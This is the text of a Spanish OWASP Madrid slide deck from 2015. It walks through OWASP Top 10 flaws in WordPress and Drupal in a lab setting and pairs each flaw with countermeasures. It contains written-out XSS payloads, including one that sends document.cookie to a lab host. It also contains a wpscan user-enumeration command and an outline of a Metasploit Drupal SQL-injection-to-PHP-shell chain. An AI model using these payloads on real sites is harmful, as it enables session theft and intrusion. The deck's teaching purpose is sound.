From vulnerable source to shell in two hours

Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

The OWASP Foundation

Marzo 2015

http://www.owasp.org/

Dani Martínez [email protected] @dan1t0

Ángel García Moreno [email protected] @_Ell0_

From vulnerable source to shell in two hours (1h y media al final)

2 OWASP Madrid Chapter - Marzo 2015

Lo primero es lo primero … Enhorabuena!


Disclaimer


Enfoque

Quienes Somos?

Angel Garcia (@_Ell0_) -  Auditor de Seguridad

¿hacker? -  Miembro de un TigerTeam -  blog.sec-root.com -  Padre (con eso lo digo

todo)

Dani Martínez (@dan1t0) -  Auditor de Seguridad ¿hacker? -  Miembro de un TigerTeam -  CamisetasFrikis.es -  Juego al Rugby -  Me gusta aportar -  Blog abandonado


Índice

La charla tendrá un enfoque práctico tipo: Problema --> Ataque

-  A9 Uso de software (componentes) vulnerables -  A8 Cross-Site Request Forgery (CSRF) -  A3 Cross-Site-Scripting (XSS) -  A2 Ataque a la autenticación y Manejo de Sesión -  A1 Inyección SQL



Enfoque

Se analizarán distintas vulnerabilidades encuadradas en el TOP 10 de OWASP https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

!  A1 Injection

!  A2 Broken Authentication and Session Management

!  A3 Cross-Site Scripting (XSS)

!  A4 Insecure Direct Object References

!  A5 Security Misconfiguration

!  A6 Sensitive Data Exposure

!  A7 Missing Function Level Access Control

!  A8 Cross-Site Request Forgery (CSRF)

!  A9 Using Components with Known Vulnerabilities

!  A10 Unvalidated Redirects and Forwards


A9 – Using Components with Known Vulnerabilities

! Uno de los principales vectores de intrusión es el empleo de ataques o exploits públicos contra vulnerabilidades conocidas (y algunas de ellas MUY CONOCIDAS)

! Los sistemas y aplicaciones desfasados son claras

víctimas tanto de ataques dirigidos como de ataques masivos.

! Google, Shodan y otros motores de búsqueda son tus amigos };-)



Worpress tiene alguna vulnerabilidad ¿no?



Entonces todo el mundo tendrá su Wordpress actualizado… ¿o no?



Más trucos sexys: http://www.exploit-db.com/google-dorks/


A8 – Cross-Site Request Forgery (CSRF)

“El CSRF (del inglés Cross-site request forgery o falsificación de petición en sitios cruzados) es un tipo de exploit malicioso de un sitio web en el que comandos no autorizados son transmitidos por un usuario en el cual el sitio web confía. Esta vulnerabilidad es conocida también por otros nombres como XSRF, enlace hostil, ataque de un click, cabalgamiento de sesión, y ataque automático. Un ataque CSRF fuerza al navegador web validado de una víctima a enviar una petición a una aplicación web vulnerable, la cual entonces realiza la acción elegida a través de la víctima. Al contrario que en los ataques XSS, los cuales explotan la confianza que un usuario tiene en un sitio en particular, el cross site request forgery explota la confianza que un sitio tiene en un usuario en particular.”





http://172.16.155.145/wordpress/wp-login.php?action=rp&key=UIUrQG4Lsbww4aoN9Tnq&login=admin









La contramedida general es mediante el uso de tokens de sesión aleatorios, que sean enviados en la petición HTTP.

En el caso de Wordpress:


A3 – Cross-Site Scripting(XSS)

“XSS, del inglés Cross-site scripting es un tipo de inseguridad informática o agujero de seguridad típico de las aplicaciones Web, que permite a una tercera parte inyectar en páginas web visitadas por el usuario código JavaScript o en otro lenguaje script similar (ej: VBScript), evitando medidas de control como la Política del mismo origen. (…) XSS es un vector de ataque que puede ser utilizado para robar información delicada, secuestrar sesiones de usuario, y comprometer el navegador, subyugando la integridad del sistema. (…)”







Una prueba de concepto sencilla puede ser esta: Y el resultado sera algo como….





Podemos esforzarnos más y hacer algo más divertido: ! Redirigir a un sitio malicioso ! Preparar un phishing ! Inyectar un iFrame con malware ! Robar una sesión autenticada ! Ejecutar JavaScript en la maquina victima

" Minamos unos BitCoins??? " Realizamos un DoS a una web??? " Explotar un CSRF!!!


A3 – Cross-Site Scripting(XSS) !  XSS [<blockquote cite="]">[" onmouseover="this.style.display='none';alert('exploit javascript running');" style="position:fixed;left:0px;top:0px;width:100%;height:100%;z-index:10000;display:block" ]

!  Go to a webside! [<blockquote cite="]">[" onmouseover="this.style.display='none';window.location='http://172.16.155.145/hacker/index.html';" style="position:fixed;left:0px;top:0px;width:100%;height:100%;z-index:10000;display:block" ]

!  Steal Cookie [<blockquote cite="]">[" onmouseover="this.style.display='none';xmlhttp=new XMLHttpRequest();xmlhttp.open('GET','http://172.16.155.145/'+document.cookie,true);xmlhttp.send();" style="position:fixed;left:0px;top:0px;width:100%;height:100%;z-index:10000;display:block" ]





Contramedidas:

" Filtrar caracteres potencialmente peligrosos como “<” “>” “;” “/” “\\”

" Establecer medidas de filtrado: §  Lado cliente (ej javascript). §  Lado servidor (ej ignorando la petición o devolviendo error).

" Codificar la salida de datos.


A2 – Broken Authentication and Session Management

“Las funciones de la aplicación relacionadas a autenticación y gestión de sesiones son frecuentemente implementadas incorrectamente, permitiendo a los atacantes comprometer contraseñas, claves, token de sesiones, o explotar otras fallas de implementación para asumir la identidad de otros usuarios.”





Para explotar la vulnerabilidad lo primero que haremos será listar los usuarios existentes en el wordpress

vulnerable: wpscan --url 172.16.155.145/wordpress --enumerate u



! Según el advisory: " Se necesita crear una contraseña muy larga. " Conocer un usuario legitimo. " Mandar repetidas peticiones.


! Antes

! Después






El control de este tipo de vulnerabilidades normalmente abarca diversos puntos de control que pueden implicar varios puntos de la infraestructura. Aunque las contramedidas deberían adecuarse a cada caso, algunos ejemplos de éstas serían los siguientes:

ü  Envío de credenciales o datos de autenticación siempre por canales

cifrados ü  Creación de políticas de complejidad y cambio de contraseñas ü  Control de intentos de autenticación, bloqueo y desbloqueo de

usuarios ü  Varios factores de autenticación, especialmente para tareas críticas ü  Medidas efectivas para evitar saltos horizontales y verticales de

privilegios


A1 – Injection (SQL injection)

“Inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar operaciones sobre una base de datos. El origen de la vulnerabilidad radica en el incorrecto chequeo y/o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o script que esté embebido dentro de otro. Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al método de infiltración, al hecho de incrustar código SQL intruso y a la porción de código incrustado.”





Podemos hacer la prueba a mano con burp



Explotemos un Blind SQL Injection a mano!!



Explotemos un Blind SQL Injection a mano!!



! Usaremos de nuevo por comodidad metasploit ! Las fases de la explotación serán las siguientes:

" Aprovechando el SQLi se crea un usuario en Drupal " El usuario crea un “artículo” con un payload en php. " Ejecutamos stage que nos apetezca:







! El exploit “in the wild” " Se crea un usuario en la BBDD " Se instala una theme con una shell en php " Se ejecuta de forma masiva " Proffit

§  Botnets

§  Robo de datos

§  Hacking masivo…

http://www.securitysift.com/drupal-7-sqli/





La contramedida general es mediante el uso de prepared statements o sentencias parametrizadas … correctamente empleadas.

En el caso de Drupal:

protected function expandArguments(&$query, &$args) {

$modified = FALSE;

foreach (array_filter($args, 'is_array') as $key => $data) {

$new_keys = array();

foreach ($data as $i => $value) {

foreach (array_values($data) as $i => $value) {

$new_keys[$key . '_' . $i] = $value;

}

…


Gracias

Preguntas?

Para más información:

https://www.owasp.org/index.php/Madrid

Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

The OWASP Foundation

Marzo 2015

http://www.owasp.org/

Daniel Martínez [email protected] @dan1t0

Ángel García Moreno [email protected] @_Ell0_

From vulnerable source to shell in two

hours

Technology

From vulnerable source to shell in two hours